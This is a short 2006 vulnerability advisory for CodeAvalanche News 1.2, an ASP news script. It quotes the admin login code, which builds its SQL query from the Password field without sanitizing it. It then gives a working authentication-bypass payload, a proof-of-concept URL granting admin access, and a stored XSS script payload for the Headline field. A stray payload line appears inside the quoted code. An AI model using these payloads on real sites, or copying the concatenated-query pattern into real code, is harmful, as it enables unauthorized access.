CANews Multiple Vulnerabilities

- CANews Remote Multiple Vulnerability -
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-= CodeAvalanche News Version 1.2 =-

May 18, 2006

SQL Injection
XSS Attack

CodeAvalanche News Version 1.2


Description of product:

CodeAvalanche News is asp application which allows webmasters to easy add news page to their website.

Resource Specification
Platform(s): windows
Date Added: Mar 8, 2005
Last Updated: May 5, 2006
Author: xfairguy

Vulnerability / Exploit:

In [path_of_appl.]\admin directory, there is the file default.asp and it contain a vulnerable code; because the variable
Password is not properly sanitized.
A malicious people can Inject SQL code by Password variable.

Let's look the source code, to understand the problem:



If Request("Password")<>"" Then

dim rsUser,selectSQL
selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") & "'"
a' OR 'a' = 'a

set rsUser = Server.CreateObject("ADODB.Recordset")
rsUser.ActiveConnection =connStr
rsUser.Source = selectSQL
rsUser.CursorType = 3
rsUser.CursorLocation = 2
rsUser.LockType = 3


[End default.asp]

As you can see the problem is in the string selectSQL. The input passed by the variable Password is not properly sanitized so
an attacker can Inject arbitrary SQL code. Look this example:

If the variable Password is : 1' OR '1' = '1

The selectSQL string looks like:

selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'

And you can gain access to the application with admin rights.

- XSS Attack Explaination -

There is also an XSS bug in this application.
If you put in add_news.asp in the field Headline a script like:

<script>alert("XSS Attack")</script>

You can see the alert message "XSS Attack"

PoC / Proof of Concept of SQL Injection:

An attacker can go to this URL:[path_of_application]/CANews/Admin/default.asp?password=1' OR '1' = '1&Submit=Login

Vendor Status

Not informed!